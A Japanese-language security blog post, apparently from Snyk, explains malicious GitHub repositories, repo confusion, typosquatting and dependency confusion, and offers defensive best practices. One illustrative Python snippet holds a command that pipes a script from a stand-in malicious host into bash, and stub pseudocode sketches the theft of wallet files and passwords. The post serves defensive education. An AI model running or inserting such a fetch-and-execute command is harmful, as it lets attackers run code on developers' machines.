Skip to main content

GitHubがマルウェアリポジトリとリポジトリ混同の「襲撃」を受ける:心配しなくてよい理由

著者
prioritize the security backlog

2024年3月12日

0 分で読めます

オープンソースソフトウェア開発が進化し続けるのに伴い、サイバーセキュリティの脅威にさらされるリスクも高まっています。その一例が、GitHubで最近発見されたマルウェアリポジトリです。このサイバー攻撃では、攻撃者が、世界中の開発者に利用され、何百万ものコードリポジトリをホストするプラットフォームであるGitHubに、悪意のあるコードをアップロードしました。

こうしたGitHubのマルウェアリポジトリは、個々の開発者だけでなく、組織全体にとっても脅威です。悪意のあるリポジトリがクローンされたり、そのコードが別のプロジェクトに取り込まれたりすると、マルウェアが拡散し、データ侵害やシステム侵害につながる可能性があります。Snykの過去のブログでは、タイポスクワッティングや依存関係の混同など、関連する脅威も取り上げてきました。一般的に認められているベストプラクティスに従えば、こうした危険を回避できます。以下では、これらのベストプラクティスに加え、Snyk AdvisorやSnyk Learnなどのツールをご紹介します。その後、今回のGitHub攻撃について詳しく解説します。この種の攻撃は、必ずしもGitHubに限られるものではありません。コードを自由に共有・コピーできるソースコードリポジトリシステムであれば、どこでも同様の悪意あるコードがホストされる可能性があります。

# Example of a potentially harmful code snippet in a repository
def malicious_function():
    import os
    os.system('curl https://malicious-website.com/malware_script.sh | bash')

上記のPython関数を実行すると、シェルコマンドによって外部サーバーから悪意のあるスクリプトをダウンロードして実行できます。これは、外部リポジトリのコードを精査することがいかに重要かを示しています。

GitHub上のマルウェアから自分とチームを守る:ベストプラクティスとセキュリティ衛生

オープンソースソフトウェア開発が一般化し、GitHubのリポジトリが再利用可能なコードの宝庫となっている今、利用するコードのセキュリティ衛生を確保することは、ますます重要になっています。このセクションでは、コードリポジトリの審査、リポジトリの正当性の確認、悪意あるリポジトリをクローンする危険性、そして開発者を守るためにセキュリティチームが準備すべきことについて説明します。

コードリポジトリを審査する

ソフトウェア開発において、コードリポジトリの審査は軽視できない重要なステップです。リポジトリを十分に審査することで、開発者は悪意のあるコードをプロジェクトに取り込むリスクを避けられます。たとえばGitHubには膨大な数のリポジトリがあり、有用なコードを装ったマルウェアが見つかることも珍しくありません。

プロジェクトに取り込む前に、コードを十分に確認することが不可欠です。リポジトリの履歴、コントリビューター、未解決のIssueなどを確認しましょう。コントリビューターが1人しかいない、履歴が短い、または未解決のセキュリティ問題があるリポジトリは、慎重に扱う必要があります。

npm、PyPI、RubyGemsなどのパッケージレジストリにあるオープンソースライブラリやソフトウェアパッケージを審査する際は、Snyk AdvisorのWebツールの利用を強くおすすめします。オープンソースパッケージやライブラリの健全性スコアを確認でき、セキュリティ状況、メンテナンス状況、ライセンスなどを把握できます。

Snyk Advisorツールが、PyPIのkeras Pythonパッケージの健全性スコアを開発者に表示しています。

開発チームを守るためのセキュリティチーム向けガイドライン

セキュリティチームは、開発環境の安全を確保するうえで重要な役割を担います。以下に、セキュリティチーム向けのガイドラインを紹介します。

  1. 開発者を教育する:コードの審査、リポジトリの正当性の確認、タイポスクワッティングや依存関係の混同などのオープンソースサプライチェーン攻撃への対策が重要であることについて、定期的にワークショップやトレーニングを実施します。

  2. セキュリティツールを導入する:既知の脆弱性や不審な動きをリポジトリから自動的に検出できるセキュリティツールを活用します。

  3. セキュアコーディングの実践を確立する:チーム内でセキュアコーディングを推進します。相互コードレビュー、セキュリティルールを備えたリンターの使用、定期的な監査などが有効です。

  4. インシデント対応計画を策定する:悪意のあるリポジトリが原因でセキュリティ侵害が起きた場合に備え、インシデント対応計画を用意します。

これらのベストプラクティスに従い、良好なセキュリティ衛生を保つことで、GitHubのリポジトリに潜む脅威からソフトウェア開発プロセスを守ることができます。

リポジトリ混同を理解する

「リポジトリ混同」とは、この文脈で攻撃者が使う手法です。既存の正規プロジェクトとよく似た名前のリポジトリを作成し、開発者を誤ったリポジトリの利用へと誘導します。その結果、開発者は気づかないうちに悪意のあるコードをダウンロードして実行してしまいます。

たとえば、legitimate_repoという人気のリポジトリがある場合、攻撃者はlegitimate-repoやlegitimate_repo1というリポジトリを作成するかもしれません。何も知らない開発者はこれらを元のリポジトリと取り違えてクローンし、罠にかかったことに気づかない可能性があります。GitHubのマルウェアリポジトリ事例で見られたもう1つの一般的な手法は、人気のリポジトリをフォークし、新しいリポジトリとして公開する攻撃です。

マルウェア攻撃、タイポスクワッティング、依存関係の混同攻撃

リポジトリ混同は、タイポスクワッティングや依存関係の混同攻撃という、ほかの2つのサイバーセキュリティ脅威と密接に関係しています。タイポスクワッティングとは、人気のドメインに似たドメイン名を登録したり、npmやPyPIなどのオープンソースレジストリにパッケージを公開したりして、インストール時に開発者がURLやパッケージ名を入力し間違えることを狙う手法です。GitHubの場合、人気のリポジトリと名前がよく似たリポジトリを作成することが該当します。1文字だけ違う名前にしたり、別のアカウント名で人気リポジトリと同じ名前を使ったりします。

一方、依存関係の混同攻撃は、パッケージマネージャーによる依存関係の処理方法を悪用します。ソフトウェアプロジェクトが依存するパッケージが公開パッケージリポジトリにはなく、プライベートリポジトリには存在する場合、攻撃者は公開リポジトリに同じ名前のパッケージを作成できます。するとパッケージマネージャーが、正規のパッケージではなく悪意のあるパッケージをダウンロードする可能性があります。

// Example of a potentially dangerous package.json file
{
  "name": "legitimate-package",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "private-package": "^1.0.0"
  }
}

上記の例では、private-packageが公開npmレジストリに存在せず、攻撃者が悪意のあるバージョンを公開していた場合、npm installを実行すると、その悪意のあるパッケージがダウンロード・インストールされる可能性があります。

GitHubのマルウェアリポジトリ攻撃は、リポジトリ混同、タイポスクワッティング、依存関係の混同攻撃と相まって、オープンソースソフトウェア開発のセキュリティに深刻な脅威をもたらします。サードパーティのコードを使用する際には慎重を期し、堅牢なサイバーセキュリティ対策を採用する必要があることを改めて示しています。

GitHubのマルウェアリポジトリ攻撃を理解する

GitHubの悪意あるリポジトリ攻撃では何が起きたのでしょうか。ソフトウェア開発者のワークステーションに侵入する手法である、このGitHubインシデントの詳細を見ていきましょう。攻撃の手口や攻撃者が用いた戦術、想定される被害について解説します。

この攻撃が最初に記録されたのは、2024年2月28日までさかのぼります。一見すると何気ない出来事でしたが、匿名ユーザーが人気のオープンソースリポジトリをフォークし、新しいリポジトリとして公開しました。しかし、まもなく、新たに公開されたリポジトリは見た目ほど無害ではないことが明らかになりました。

攻撃者はコードベースに難読化したマルウェアを埋め込み、リポジトリを悪意のあるコードが潜む地雷原へと変えていました。これらのリポジトリをクローンまたはフォークした開発者は、気づかないうちにマルウェアをローカルシステムに取り込んでしまいました。

攻撃者の手口:マルウェアを仕込んだコードリポジトリをフォークして公開

攻撃者は、巧妙で見破りにくい手法を使いました。オープンソースプロジェクトへの貢献を目的に、開発者が既存のオープンソースコードリポジトリをフォークするのは一般的です。攻撃者はその後、リポジトリに難読化した悪意のあるコードを追加しました。

以下は、フォークして新しいリポジトリを作成する例です。

git clone https://github.com/original/repo.git
cd repo
git remote rename origin upstream

上記の通常のフォーク手順では、この段階で攻撃者が悪意のあるコードを追加し、リポジトリをGitHubにプッシュします。

git add .
git commit -m "Add new feature"
git push origin master

難読化されたマルウェアは、従来のコードレビューでは検出しにくいように作られていました。悪意のあるコードが発見された時点で、すでに複数の開発者のシステムに感染していました。

想定される被害:暗号資産とパスワードの窃取

埋め込まれたマルウェアの主な目的は、感染したデバイスから機密情報を盗み出すことでした。具体的には、開発者のシステムに保存された暗号資産ウォレットとパスワードを標的にしていました。

マルウェアがシステムに侵入すると、ビットコインやイーサリアムなどの暗号資産ウォレットに関連する特定のファイルを探し出し、攻撃者に送信します。同様に、平文または暗号化が不十分な形式で保存されたパスワードも盗み出そうとします。

以下は、マルウェアの目的を簡略化した疑似コードです。

def infiltrate_system():
    steal_files('*.wallet')
    steal_passwords()

def steal_files(file_pattern):
    # method to find and transmit wallet files

def steal_passwords():
    # method to find and transmit passwords

上記の疑似コードは、マルウェアがシステムに侵入した後に何を行う可能性があるかを簡潔に示しています。

GitHubのマルウェアリポジトリ攻撃は、ソフトウェア開発における厳格なセキュリティ対策の重要性と、オープンソースの世界に潜む危険性を改めて浮き彫りにしています。開発者やセキュリティ担当者は警戒を怠らず、ベストプラクティスを活用して、このような攻撃を防ぐ必要があります。

タイポスクワッティングと依存関係の混同攻撃:密接に関連する脅威

GitHubのマルウェア攻撃に関連して、タイポスクワッティングと依存関係の混同という、よく見られるものの危険な2つのサイバーセキュリティ脅威についても理解しておきましょう。どちらも、最近発見されたGitHubのマルウェアリポジトリ攻撃と密接に関係しています。両者のつながりと潜在的なリスクを詳しく理解するため、まずこれらの概念を定義し、その後、実際に攻撃が成功した事例を見ていきます。

タイポスクワッティングと依存関係の混同攻撃とは

コードリポジトリやオープンソースソフトウェアにおけるタイポスクワッティングとは、パッケージのインストール時にライブラリ名を誤入力する開発者を狙うサイバー攻撃の一種です。たとえば、npm install riact-domと入力し、npm install react-domと入力しなかった場合が該当します。攻撃者は人気パッケージによく似た名前の悪意あるパッケージを作成し、開発者が入力を間違えるのを待ちます。開発者がこうしたパッケージをインストールすると、攻撃者は機密情報を盗んだり、開発者のシステムにマルウェアを仕込んだりできます。

一方、依存関係の混同攻撃は、オープンソースソフトウェアの開発プロセスを狙うサプライチェーン攻撃です。この攻撃では、ハッカーがプロジェクトの開発環境で使われているプライベートパッケージと同じ名前の悪意あるパッケージを作成します。プロジェクトのビルドシステムが依存関係を取得する際、プライベートパッケージだと思い込み、誤って公開されている悪意あるパッケージを選んでしまいます。その結果、悪意のあるコードがプロジェクトのコードベースに入り込み、感染を引き起こす可能性があります。

# Malicious package with same name as private package
# This is a Python example, but the attack extends to other languages (Node.js, Ruby, etc.)
def malicious_function():
    # This function could do anything: steal data, corrupt files, etc.

タイポスクワッティングと依存関係の混同攻撃の実例

タイポスクワッティングの代表的な事例の1つは、2017年に公式PythonパッケージリポジトリのPyPIを狙った攻撃です。攻撃者は人気パッケージとよく似た名前の悪意あるパッケージをアップロードし、誤ってそれらをインストールした数千人のユーザーに影響を与えました。

依存関係混乱攻撃の最近の事例として、セキュリティ研究者のAlex Birsan氏が発見した攻撃があります。同氏はこの脆弱性を悪用し、Apple、Microsoft、PayPalなどの大手企業の内部システムに自身のコードを注入しました。これらの企業が使用していたプライベートパッケージと同じ名前の悪意あるパッケージを作成し、公開パッケージリポジトリにアップロードしたのです。企業のビルドシステムがパッケージを取得した際、意図せずBirsan氏の悪意あるパッケージを使用してしまい、その結果、同氏のコードが各社のシステム内で実行されました。

結論として、タイポスクワッティング攻撃と依存関係混乱攻撃は、どちらもオープンソースソフトウェア開発に大きな脅威をもたらします。開発者や組織は、こうした攻撃手法を理解し、システムやコードベースを守るための適切な対策を講じることが重要です。

まとめ

ここまで、GitHub上のマルウェアリポジトリの問題と、オープンソースのセキュリティにおける一般的な脆弱性がどのように悪用されるかを見てきました。特に、こうしたリポジトリがタイポスクワッティングや依存関係混乱攻撃などの手口を利用して、警戒を怠ったシステムに侵入する方法を解説しました。

開発者やセキュリティ担当者である私たちは、こうしたサイバーセキュリティの脅威に対する最初の防衛線です。コードやシステムを守るために、ベストプラクティスを守り、適切なセキュリティ衛生を維持することが重要です。

いくつかの重要な対策を講じるだけでも、こうした脅威からの保護に大きく役立ちます。

  • リポジトリやパッケージを使用する前に、必ずその完全性を確認してください。リポジトリ所有者のユーザー名を確認するだけの簡単な方法から、パッケージの暗号署名を検証する方法まであります。

  • リポジトリのクローンやパッケージのインストール時には、入力ミスがないか注意してください。

  • 依存関係混乱攻撃のリスクを減らすため、社内パッケージにはプライベートパッケージフィードを使用してください。

  • 既知の脆弱性からシステムを守るため、定期的にシステムを更新し、パッチを適用してください。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。